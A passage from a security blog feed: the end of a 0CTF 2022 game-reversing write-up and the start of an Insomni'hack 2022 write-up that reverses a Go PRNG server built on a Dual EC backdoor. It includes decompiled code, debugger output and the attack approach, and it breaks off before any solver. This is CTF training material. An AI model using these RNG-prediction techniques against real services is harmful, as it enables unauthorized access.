<p>When we look in the debugger at the RAM offset of <code class="language-plaintext highlighter-rouge">116</code>, we see our input <code class="language-plaintext highlighter-rouge">AAAAAAAA</code> has changed into something mangled. After seeing this, it’s safe to assume that the flag will also be mangled in the same way. Using this, we can now answer our reverser question of <code class="language-plaintext highlighter-rouge">if all inputs affect the check</code>. It really seems like it does not, but we can confirm that by running it through each char in the alphabet.</p>

<p>After two attempts, which get us a <code class="language-plaintext highlighter-rouge">B</code>, the first if-statement passes in the check tree. There are only eight chars, and each char only has 26 options… that is bruteforceable by hand! After 10 mins of guessing with a teammate, zammo, we guess all the chars of the key:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BLACKKEY
</code></pre></div></div>

<p>What does it mean? I have no idea.</p>

<h2 id="a-recap-of-techniques">A Recap of Techniques</h2>
<p>We did the following:</p>
<ol>
  <li>Find how normal people dev in this arch</li>
  <li>Use those tools to learn how the program starts and uses memory</li>
  <li>Use that knowledge to make tools work</li>
  <li>Question how authentications works</li>
  <li>Quickly search for patterns that match assumptions made in 4</li>
</ol>

<p>I think the noteworthy takeaway from this section of the challenge was that <strong>most</strong> of the code you see is useless. This program is a game, so there will be an insane amount of code just for running the game and simulating things like <a href="https://gamedev.stackexchange.com/questions/81608/what-is-a-tick-in-the-context-of-game-development">game ticks</a>. It was important that we found structures that looked familiar quickly and disregarded most other things.</p>

<h2 id="the-real-game">The Real Game</h2>
<p>After you get the password, you get to the second part of the game:
<img src="/assets/images/0ctf22-rev/pic4.png" alt="" /></p>

<p>Instead of going in-depth into part two of this challenge, I again say go check out <a href="https://nevesnunes.github.io/blog/2022/09/19/CTF-Writeup-0CTF-2022-vintage-part1+2.html##part-2">this blog</a> if you are looking for a technical writeup of this section. I will instead give an overview of tricks we found useful for reversing both a game and an arch we did not fully understand.</p>

<p>In this second part of the game you are tasked with collecting coins (and completing an easter egg), then going to the flag at the end of the map. I find the game very hard to play, but zammo thought it was fun (he was also good, lol).</p>

<h2 id="tricks-for-game-hacking">Tricks for Game Hacking</h2>
<p>And now some tricks.</p>

<h3 id="make-a-fast-workflow">Make a fast workflow</h3>
<p>In this game, if you fell off, you died and had to return to the password prompt, which was very painful. Instead of wasting time having to restart the game, finding ways to jump around execution points in the game and reverse actions are helpful. Because we are running in an emulator, we are blessed with the ability to “undo” instructions. In our workflow, we had:</p>
<ol>
  <li>A quick <code class="language-plaintext highlighter-rouge">set $pc</code> command to get us back to the start of the game</li>
  <li>A breakpoint set for the function called if you fall off</li>
</ol>

<p>In the event of 2, we could undo the last few instructions to get back on the platform.</p>

<h3 id="observe-memory">Observe Memory</h3>
<p>Early in playing, we had a memory dump of the game on the screen. This showed us which values changed more than others. Through this, we were able to find our <code class="language-plaintext highlighter-rouge">(x, y)</code> coordinates storage location, our coin storage location, flags for winning or losing, and counter for jumps (suspicious). This technique of observing changes in memory, or differential memory analysis, is how many game-hacking tools like <a href="https://www.cheatengine.org/">Cheat Engine</a> work. Zammo found quite a bit of information like this.</p>

<p>Always observing memory gives you ample opportunity to see patterns in changes that may signify the existence of a variable (like health). In the case of this game, knowing a jump counter existed was crucial to finding the final flag.</p>

<h3 id="lookup-suspicious-constants-and-patterns">Lookup Suspicious Constants and Patterns</h3>
<p>I should’ve done this earlier in my reversing, but there was a strange pattern of 0-256 being set into an array and then shuffled. The program then used that value for xoring. I found it very weird. Once looking this up a little more, I found that this was just an inlined implementation of <a href="https://en.wikipedia.org/wiki/RC5">RC5</a>. It’s important to remember our 4th reversing question: <code class="language-plaintext highlighter-rouge">how are they hiding the flag string from us</code>. In most cases, you can only hide a string through encryption. If the game has minimal memory and instructions, it’s likely the encryption will be:</p>
<ol>
  <li>Fast</li>
  <li>Easy to implement</li>
  <li>Not take a lot of memory</li>
</ol>

<p>In a perfect world, you would be able to recognize the most simple encryption algorithms in assembly. You can gain knowledge in this area by reading some <a href="https://ieeexplore.ieee.org/abstract/document/8378034?casa_token=0Hat1JJXp1oAAAAA:74jBduLqF24eK4MpXPVZk2yvefS21NIH6XbG1hqVbQ43EzQFrMRMw3h7WMjlUXe4A8BNiAoQrg">survey papers</a> on what encryption schemes are used most commonly used in this area of computing.</p>

<p>Generally, any time you see a large constant or a strange loop of setting many constants, do a quick google search for them. It’s likely a hashing or encryption algorithm.</p>

<h3 id="identify-external-functions">Identify External Functions</h3>
<p>Lastly, identifying external functions in games is probably the most important thing you can do when statically reversing big games. Usually, I like to start with finding which function is responsible for printing graphics to the screen. In this case, that information is what allowed us to find all prints (which is a small number) and find where the second flag is eventually decrypted and printed.</p>

<p>When you can, try to identify what looks like user-set memory access and library-set access. In embedded games like this, it will usually be made more obvious by access to ROM and RAM. On that note, if you don’t understand how memory is laid-out in your platform or game, you should get <a href="https://www.computerhope.com/issues/ch001361.htm">background knowledge</a> on it from around the web.</p>

<h2 id="wrapup">Wrapup</h2>
<p>I hope you enjoyed this quick overview of hacking around in another architecture. If you take anything away from this post, it’s that you often need to move fast when reversing and make a lot of assumptions that you confirm later (usually with dynamic analysis). You use these assumptions, plug background knowledge in the area, to identify beacons, and then go from there. See you next time \o.</p>]]></content><author><name></name></author><category term="ctf" /><category term="reversing" /><category term="game-hacking" /><summary type="html"><![CDATA[Some common techniques used while reversing unknown architectures seen through the lens of an 80's game hacking challenge from 0CTF22]]></summary></entry><entry><title type="html">Insomnihack22: Reversing a flawed ECC rng-as-a-service Go Server</title><link href="https://mahaloz.re/2022/02/07/Insomnihack22-go-rev.html" rel="alternate" type="text/html" title="Insomnihack22: Reversing a flawed ECC rng-as-a-service Go Server" /><published>2022-02-07T00:00:00+00:00</published><updated>2022-02-07T00:00:00+00:00</updated><id>https://mahaloz.re/2022/02/07/Insomnihack22-go-rev</id><content type="html" xml:base="https://mahaloz.re/2022/02/07/Insomnihack22-go-rev.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>During <a href="https://ctftime.org/event/1505">Insomni’hack teaser 2022</a>, I worked on a reversing challenge called <strong>Nobus101</strong> that ended up having a lot of fun use-cases for my debugging tool <a href="https://github.com/mahaloz/decomp2gef">decomp2gef</a>. You can all the challenge files and solve in <a href="https://github.com/shellphish/writeups/tree/main/challenges/rev/golang/Insomnihack22-Nobus101">shellphish/writeups</a></p>

<h3 id="collaborators">Collaborators</h3>
<ul>
  <li><a href="">@redgate</a></li>
  <li><a href="https://mystiz.hk/">@mystiz / Samuel</a></li>
</ul>

<h3 id="challenge-description">Challenge Description</h3>

<p>The challenge is a single binary, <a href="https://github.com/shellphish/writeups/blob/main/challenges/rev/golang/Insomnihack22-Nobus101/nobus101.bin">nobus101.bin</a>. The challenge description is:</p>
<blockquote>
  <p>An old Clyde Frog employee, J.S., gave us an access to a not so experimental PRNG: 
<code class="language-plaintext highlighter-rouge">curl http://nobus101.insomnihack.ch:13337</code></p>
</blockquote>

<h2 id="scouting-a-go-binary">Scouting a Go Binary</h2>
<p>You can often tell that a binary is a Go binary just by opening it in a decompiler and seeing the naming convention:</p>

<p><img src="/assets/images/ctf/insomnia-22/pic1.png" alt="" /></p>

<p>You will usually see something like <code class="language-plaintext highlighter-rouge">main_*</code>, which means it’s a function of the package <code class="language-plaintext highlighter-rouge">main</code>. You can also use a little hack:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings -n 5 nobus101.bin | grep "goroutine"
</code></pre></div></div>

<p>Both work well.</p>

<p>Something I noticed instantly in this binary is the <code class="language-plaintext highlighter-rouge">main_handleRequests</code> function which is a tell-tale sign that the binary implements a Go built-in <a href="https://gobyexample.com/http-servers">http server</a>. This usually looks like:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>

<span class="k">import</span> <span class="p">(</span>
    <span class="s">"fmt"</span>
    <span class="s">"net/http"</span>
<span class="p">)</span>

<span class="k">func</span> <span class="n">hello</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">req</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span>

    <span class="n">fmt</span><span class="o">.</span><span class="n">Fprintf</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"hello</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>

    <span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/hello"</span><span class="p">,</span> <span class="n">hello</span><span class="p">)</span>
    <span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">":1337"</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So at this point, I assume it’s an RNG-as-a-service http-server.</p>

<p>One last thing to take note of before actually reversing this binary is trying to identify which functions are written by the user and which are just static linking of Go Libs. IDA actually does a pretty good job at telling the use which function is a user function and which is not in this case.</p>

<p>Usually, everything you see in <code class="language-plaintext highlighter-rouge">main_</code> is a user-written function. You will also find other packages with some user-looking name, like: <code class="language-plaintext highlighter-rouge">my_printer_</code>. In this case, the binary is actually small. The entire program is contained within the <code class="language-plaintext highlighter-rouge">main</code> package. That means the functions are as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>main_discard_bits
main_gen_Q
main_seed
main__ptr_DRBG_drbg_gen
main_getRand
main_getFlag
main_getHelp
main_handleRequests
main_main
main_init
</code></pre></div></div>

<h2 id="understanding-the-http-server">Understanding the HTTP Server</h2>
<p>I was once told by a smart reverser to “never start at _start”, but in this case I think it’s really helpful to take a glance at the <code class="language-plaintext highlighter-rouge">main_main</code> of the binary which happens right after the <code class="language-plaintext highlighter-rouge">init</code> of main. It’s almost like an entry point.</p>

<p>There is a lot of trash in the decompilation because Go has a lot of Runtime checks. For the majority of these, you can ignore them. There is one easily distinguishable line in the decompilation:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">os_OpenFile</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="s">"/tmp/nobus-logs"</span><span class="p">,</span> <span class="mi">15LL</span><span class="p">,</span> <span class="mi">1089LL</span><span class="p">,</span> <span class="mi">438</span><span class="p">);</span>
</code></pre></div></div>

<p>This is opening a file. If at any point you need to search up what a function does, just take the string after the last <code class="language-plaintext highlighter-rouge">_</code>. In this case it would be <code class="language-plaintext highlighter-rouge">OpenFile</code>. Just search <code class="language-plaintext highlighter-rouge">"Go OpenFile"</code> to find exactly what the calling params are. In this case, it’s actually easier to just cat the file while the binary runs. So let’s run the binary:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./nobus101.bin
</code></pre></div></div>

<p>Since this is an http server, its expected that there would be no output in stdout, but it should have executed that <code class="language-plaintext highlighter-rouge">OpenFile</code> already, so we can check what’s in it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─ λ <span class="nb">cat</span> /tmp/nobus-logs
<span class="o">[</span>NOBUS] 2022/02/07 13:32:22 init: seed:c1b129fd156bb3c3efa15b0b1c4146b8f44cc5310e18a4b8c36a2632a53cf3e2
<span class="o">[</span>NOBUS] 2022/02/07 13:32:22 init: v1:d48545a2b590e3c340ff274216ce07211d735c4fc498d2508c9d6d5f0d56
<span class="o">[</span>NOBUS] 2022/02/07 13:32:22 init: v2:bfeafd478ebf201d0a3812dd48839bfa175ea1174174723ee5da97f46ab2
<span class="o">[</span>NOBUS] 2022/02/07 13:32:22 init: v3:ae5deca8f2368358a0b2ab1a60aee2dbd875d87d88d99fe74c37d6b060aa
</code></pre></div></div>

<p>These numbers look like random numbers and a <a href="https://stats.stackexchange.com/questions/354373/what-exactly-is-a-seed-in-a-random-number-generator">seed</a>, but we should confirm it. Let’s try connecting to the binary and see if we learn anything.</p>

<p>It’s unclear what this http server would be running on, so we can just guess that the description port is the same as this one:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─ λ curl http://localhost:13337

     NOBUS 101 - CTF Insomnihack 2022
     --------------------------------

      GET /prng - return two random values
     POST /flag - submit the next value that will be generated by the PRNG and get the flag

     Examples:

     $ curl http://localhost:13337/prng
     88bb6ab83d9f2ff423f37bd417923038d8a377916f7a62183e911407ff27
     044630dbec4b71cb0a438c9f1c55e239a1d46b27b8583ae986e6e857e99b

     $ curl -d "662e194be250f360dfce1c853caf2f4b27ad0b5b118f20ef927581df8e71" http://localhost:13337/flag
     INS{XXX}
</code></pre></div></div>

<p>It is the same port. We actually get a lot of information here, mostly about the endpoints and how to win. We are looking to guess the next number in a random number sequence, which is a classic RNG break. Let’s confirm these nums:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─ λ curl http://localhost:13337/prng
d48545a2b590e3c340ff274216ce07211d735c4fc498d2508c9d6d5f0d56
bfeafd478ebf201d0a3812dd48839bfa175ea1174174723ee5da97f46ab2
</code></pre></div></div>

<p>So the authors are nice and are logging the random numbers so we have a way to solve this locally in a debuggable way.</p>

<p>Let’s also just confirm that this only handling these two requests:</p>

<p><strong>0x637EFA</strong>:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">call</span>    <span class="nv">net_http__ptr_ServeMux_Handle</span>
<span class="nf">nop</span>
<span class="nf">mov</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nb">cs</span><span class="p">:</span><span class="nv">off_859650</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_40</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">lea</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nv">aPrng</span>      <span class="c1">; "/prng"</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_38</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_30</span><span class="p">],</span> <span class="mi">5</span>
<span class="nf">lea</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nv">go_itab__ptr_http_HandlerFunc_comma__ptr_http_Handler</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_28</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">lea</span>     <span class="nb">rcx</span><span class="p">,</span> <span class="nv">off_6BDFC8</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_20</span><span class="p">],</span> <span class="nb">rcx</span>
<span class="nf">call</span>    <span class="nv">net_http__ptr_ServeMux_Handle</span>
<span class="nf">nop</span>
<span class="nf">mov</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nb">cs</span><span class="p">:</span><span class="nv">off_859650</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_40</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">lea</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nv">aFlag_1</span>    <span class="c1">; "/flag"</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_38</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_30</span><span class="p">],</span> <span class="mi">5</span>
<span class="nf">lea</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nv">go_itab__ptr_http_HandlerFunc_comma__ptr_http_Handler</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_28</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">lea</span>     <span class="nb">rax</span><span class="p">,</span> <span class="nv">off_6BDFB8</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">40h</span><span class="o">+</span><span class="nv">var_20</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">call</span>    <span class="nv">net_http__ptr_ServeMux_Handle</span>
</code></pre></div></div>

<p>They essentially translate to:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">handleRequests</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/help"</span><span class="p">,</span> <span class="n">getHelp</span><span class="p">)</span>
    <span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/prng"</span><span class="p">,</span> <span class="n">getRand</span><span class="p">)</span>
    <span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span> <span class="n">getFlag</span><span class="p">)</span>
    <span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">":13337"</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Nice. Alright, enough overview of the http server. Let’s find out how the hell they are generating random numbers.</p>

<h2 id="random-number-generator">Random Number Generator</h2>
<p>When looking at <code class="language-plaintext highlighter-rouge">main_main</code> again I took note of the user-made functions that were called:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>main_seed()
main_gen_Q()
main__ptr_DRBG_drbg_gen(arg)
main__ptr_DRBG_drbg_gen(arg)
main__ptr_DRBG_drbg_gen(arg)
</code></pre></div></div>

<p>From what we know so far, and the output from the <code class="language-plaintext highlighter-rouge">/tmp/nobus-logs</code>, we can assume this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. make seed for RNG
2. ???? Q ???? 
3. make v1
4. make v2
5. make v3
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Q</code> is a strange thing to see here. It means the rng is related to a crypto system. Maybe <a href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">RSA</a> or <a href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography">Eliptic Curves</a> (since you often use Q to represent a point on the curve).</p>

<p>At this point, I decided to look back at the <code class="language-plaintext highlighter-rouge">main_init</code> function which always gets called right before <code class="language-plaintext highlighter-rouge">main_main</code> once. You could use the init if you wanted to make sure something is usable across threads, like a global seed or value.</p>

<p>Looking at <code class="language-plaintext highlighter-rouge">main_init</code>, we see two interesting things:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crypto_elliptic_P256();
...
v9 = math_big__ptr_Int_SetString(
         v4,
         (__int64)"132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40",
         64LL,
         16LL);
...
qword_864E88 = v9
...
</code></pre></div></div>

<p>So we are led to the what the <code class="language-plaintext highlighter-rouge">Q</code> means. It is related to Eliptic Curves, and it is a point on the curve.</p>

<p>I was curious as to what the second big number was, because I thought it might be another important value so I checked it out. The assignment happens at <code class="language-plaintext highlighter-rouge">0x63856D</code>, I decided to confirm this is a global in gdb. I connected with <a href="https://github.com/mahaloz/decomp2gef">decomp2gef</a> so I could examine the decompilation directly:</p>

<p><img src="/assets/images/ctf/insomnia-22/pic2.png" alt="" /></p>

<p>Take note of how the big_Int is stored in Go. The second qword is a pointer to the actual number</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xc00000e780:   0x0000000000000000      0x000000c0000184b0
0xc00000e790:   0x0000000000000004
</code></pre></div></div>

<p>If we examine it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  x/4gx (long long *) ((long long *) qword_864E88)[1]
0xc0000184b0:   0x5957fd5f37d8be40      0xffb18764a3b4df1f
0xc0000184c0:   0xc40ba24e11bf3ec7      0x132867e88e82431d
</code></pre></div></div>

<p>It’s actually the same value we see set in the string <code class="language-plaintext highlighter-rouge">132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40</code>. This information is actually super useful to remember when trying to understand the varoious Big Ints we see set all over this program.</p>

<h2 id="understanding-p256-ec">Understanding P256 EC</h2>
<p>From searching around on the internet, it turns out that <code class="language-plaintext highlighter-rouge">P256</code> is a well-known configuration of Eliptic Curves (ECs). At this point, I wanted to start understanding how this was utilized in Go. The <a href="https://pkg.go.dev/crypto/elliptic">docs</a> provide a nice overview, but to really understand it, I took a look at the source.</p>

<p><strong><a href="https://cs.opensource.google/go/go/+/refs/tags/go1.17.6:src/crypto/elliptic/p256.go;drc=a81b5e4d0a843e6ef28c8b933904a03fd8666f3e;l=28">crypto/elliptic/p256.go:28</a></strong></p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">initP256</span><span class="p">()</span> <span class="p">{</span>
	<span class="c">// See FIPS 186-3, section D.2.3</span>
	<span class="n">p256Params</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">CurveParams</span><span class="p">{</span><span class="n">Name</span><span class="o">:</span> <span class="s">"P-256"</span><span class="p">}</span>
	<span class="n">p256Params</span><span class="o">.</span><span class="n">P</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nb">new</span><span class="p">(</span><span class="n">big</span><span class="o">.</span><span class="n">Int</span><span class="p">)</span><span class="o">.</span><span class="n">SetString</span><span class="p">(</span><span class="s">"115792089210356248762697446949407573530086143415290314195533631308867097853951"</span><span class="p">,</span> <span class="m">10</span><span class="p">)</span>
	<span class="n">p256Params</span><span class="o">.</span><span class="n">N</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nb">new</span><span class="p">(</span><span class="n">big</span><span class="o">.</span><span class="n">Int</span><span class="p">)</span><span class="o">.</span><span class="n">SetString</span><span class="p">(</span><span class="s">"115792089210356248762697446949407573529996955224135760342422259061068512044369"</span><span class="p">,</span> <span class="m">10</span><span class="p">)</span>
	<span class="n">p256Params</span><span class="o">.</span><span class="n">B</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nb">new</span><span class="p">(</span><span class="n">big</span><span class="o">.</span><span class="n">Int</span><span class="p">)</span><span class="o">.</span><span class="n">SetString</span><span class="p">(</span><span class="s">"5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b"</span><span class="p">,</span> <span class="m">16</span><span class="p">)</span>
	<span class="n">p256Params</span><span class="o">.</span><span class="n">Gx</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nb">new</span><span class="p">(</span><span class="n">big</span><span class="o">.</span><span class="n">Int</span><span class="p">)</span><span class="o">.</span><span class="n">SetString</span><span class="p">(</span><span class="s">"6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296"</span><span class="p">,</span> <span class="m">16</span><span class="p">)</span>
	<span class="n">p256Params</span><span class="o">.</span><span class="n">Gy</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nb">new</span><span class="p">(</span><span class="n">big</span><span class="o">.</span><span class="n">Int</span><span class="p">)</span><span class="o">.</span><span class="n">SetString</span><span class="p">(</span><span class="s">"4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5"</span><span class="p">,</span> <span class="m">16</span><span class="p">)</span>
	<span class="n">p256Params</span><span class="o">.</span><span class="n">BitSize</span> <span class="o">=</span> <span class="m">256</span>

	<span class="n">p256RInverse</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nb">new</span><span class="p">(</span><span class="n">big</span><span class="o">.</span><span class="n">Int</span><span class="p">)</span><span class="o">.</span><span class="n">SetString</span><span class="p">(</span><span class="s">"7fffffff00000001fffffffe8000000100000000ffffffff0000000180000000"</span><span class="p">,</span> <span class="m">16</span><span class="p">)</span>

	<span class="c">// Arch-specific initialization, i.e. let a platform dynamically pick a P256 implementation</span>
	<span class="n">initP256Arch</span><span class="p">()</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Every time I try to do a ECC challenge, I need to review the <a href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography">ECC Wikipedia</a> for the equation for a curve:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>y**2 = x**3 + ax + b
</code></pre></div></div>

<p>In addition, you have a base point of the graph, G, which acts as the generator. In this case:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>G = (Gx, Gy)
</code></pre></div></div>

<p>As defined by the Go source (which is the correct way you use p256). You also have <code class="language-plaintext highlighter-rouge">p</code> (shown as <code class="language-plaintext highlighter-rouge">P</code> in Go since only private properties can be lowercase in Go), which is the field/module for this curve. It essentially bounds this curve by whatever it is, just like RSA’s <a href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Operation">N</a>. Finally, <code class="language-plaintext highlighter-rouge">n</code> (shown <code class="language-plaintext highlighter-rouge">N</code> in source) is for computing the identity.</p>

<p>So what’s Q?:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Q = k*P
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">P</code> and <code class="language-plaintext highlighter-rouge">Q</code> (not the P shown in source) are points on the curve and <code class="language-plaintext highlighter-rouge">k</code> is like the private key that turns P into Q, just like RSA. If this is interesting to you, I highly suggest checking out what <a href="https://cryptohack.org/challenges/ecc/">CryptoHack</a> has on this subject.</p>

<h2 id="where-is-the-bug">Where is the Bug?</h2>
<p>So the author is using a crypto library in a well-known language that is implementing a well-known EC variant. Where could the bug be? I saw only two possible directions:</p>
<ol>
  <li>The author is trying to show us some bug in Golang that can be exploited in the right scenario</li>
  <li>The author is trying to show us some bug when you choose a specific <code class="language-plaintext highlighter-rouge">Q</code> and <code class="language-plaintext highlighter-rouge">k</code> with P256.</li>
</ol>

<p>I originally started with 1, but I pivoted to 2 after googling around a lot and finding a lot of <a href="https://crypto.stackexchange.com/questions/52983/why-is-there-the-option-to-use-nist-p-256-in-gpg">forum discussion</a> about people claiming P256 was backdoored. At first, I thought it was just nonsense, then I found this paper: <a href="https://luca-giuzzi.unibs.it/corsi/Support/papers-cryptography/dual-ec-20150731.pdf">Dual EC: A Standardized Back Door</a>.</p>

<h3 id="the-paper-spark-notes">The Paper Spark Notes</h3>
<p>The paper presents a way to, surprise surprise, guess the next random number in a series of given numbers when you know point <code class="language-plaintext highlighter-rouge">P</code>, <code class="language-plaintext highlighter-rouge">Q</code>, <code class="language-plaintext highlighter-rouge">k</code> and guesses before your current guess. They do this with some tricks on the choice of <code class="language-plaintext highlighter-rouge">P</code> and <code class="language-plaintext highlighter-rouge">Q</code>.</p>

<p><img src="/assets/images/ctf/insomnia-22/pic3.png" alt="" /></p>

<p>Lucky for me, I found a script of this exact attack implementation for <a href="https://ctftime.org/writeup/26410">UTCTF 2021</a>.</p>

<hr />

<p>So the question now becomes, what is <code class="language-plaintext highlighter-rouge">P</code>, <code class="language-plaintext highlighter-rouge">k</code>, and <code class="language-plaintext highlighter-rouge">Q</code> because we need them for the attack. Let the search begin.</p>

<h2 id="understanding-q-generation">Understanding Q Generation</h2>
<p>The pinnacle of solving this challenge is understanding how <code class="language-plaintext highlighter-rouge">Q</code> is generated, which is of course done in the <code class="language-plaintext highlighter-rouge">main_gen_Q</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__golang</span> <span class="nf">main_gen_Q</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">__int64</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-70h]</span>
  <span class="n">__int64</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-58h]</span>
  <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-50h]</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+38h] [rbp-40h]</span>
  <span class="n">__int64</span> <span class="o">*</span><span class="n">v6</span><span class="p">;</span> <span class="c1">// [rsp+40h] [rbp-38h]</span>
  <span class="n">__int64</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [rsp+48h] [rbp-30h]</span>
  <span class="n">__int64</span> <span class="n">v8</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// [rsp+50h] [rbp-28h] BYREF</span>
  <span class="n">__int128</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// [rsp+60h] [rbp-18h]</span>

  <span class="n">LOBYTE</span><span class="p">(</span><span class="n">v8</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">v8</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="n">v9</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
